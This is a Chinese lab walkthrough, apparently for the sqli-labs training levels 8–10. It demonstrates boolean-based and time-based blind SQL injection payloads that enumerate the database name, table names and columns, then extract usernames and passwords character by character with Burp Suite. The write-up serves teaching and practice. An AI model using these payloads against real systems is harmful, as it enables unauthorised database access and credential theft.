第八关
判断闭合类型
?id=1’报错,?id=1’–+不报错,说明是单引号包裹。
爆库
这里要用到substr函数和ascii函数,顺便了解一下length函数
substr函数是截取某一字段的第几个字母,ascii函数是将某一字符转变成ascii码的形式,而length函数则是判断字符串的长度。
?id=1' and (select ascii(substr(database(),1,1)))=1--+
这段语句表示,选取数据库名称的第一个字符,并判断其ascii码是否是1,如果是1则有回显,如果不是1就没有回显。第一个1表示从第一个字符截取,第二个1表示截取1位。
id=1' and length(database())=8--+
这段语句表示数据库名称的字符串长度为8,如果是8则有回显,如果不是8就没有回显(这条语句在本题没有使用)
使用bp设置好变量,如图,开始爆破。
爆破结果如下
可得数据库
115,101,99,117,114,105,116,121=>security
这里推荐去这里按ctrl+f直接搜ascii对应字符。
爆表
套路还是一样
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=1--+
这句话表示,选择数据库security中从第0行开始的第一行(也就是第0行)的字符串的第一个字符,并看该字符的ascii码是否为1。
设置如下
结果如下
然后把上述的从第0行开始改成从第1行开始(也就是第二行的字符串,也就是第二个表名)
修改和结果如下
当改成4时,所有结果的长度均一致,说明不存在第5个表
总结
第一个数据表 101,109,97,105,108,115 =>emails
第二个数据表 114,101,102,101,114,101,114,115 =>referers
第三个数据表 117,97,103,101,110,116,115 =>uagents
第四个数据表 117,115,101,114,115 =>users
爆字段
?id=1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))=1--+
这里就不解释了,差不多。
最后爆出字段为
第一个字段 105,100 =>id
第二个字段 117,115,101,114,110,97,109,101 =>username
第三个字段 112,97,115,115,119,111,114,100 =>password
查数据
爆破第一个username
?id=1' and (select ascii(substr((select username from users limit 0,1),1,1)))=1--+
爆破第一个password
?id=1' and (select ascii(substr((select password from users limit 0,1),1,1)))=1--+
其余的只是改一下行数,然后再进行爆破即可。
第九关
时间盲注:适用于无论语句正确与否,返回结果都一样。所以可以通过页面响应时间来判断注入的内容是否正确。
判断闭合方式
?id=1' and sleep(5)--+
方法都一样,就是后面加一个and sleep(5)
,来判断页面回显。
经过判断,该题为单引号闭合
爆库
?id=1' and if(ascii(substr(database(),1,1))=1,sleep(5),1)--+
这里用到了if语句if(条件,语句1,语句2)
这里是如果数据库名称的第一个字符的ascii码是1,则沉睡5秒,否则执行1(也就是不沉睡),配合bp使用,结果如下
爆表
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1,sleep(5),1)--+
指令和结果都和第8题大同小异,不再解释
爆字段
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=1,sleep(5),1)--+
指令和结果都和第8题大同小异,不再解释
查数据
爆第一个用户名
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=1,sleep(5),1)--+
爆第一个密码
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=1,sleep(5),1)--+
第10关
除了闭合方式为双引号型,其余和第9关都一样
?id=1" and sleep(5)--+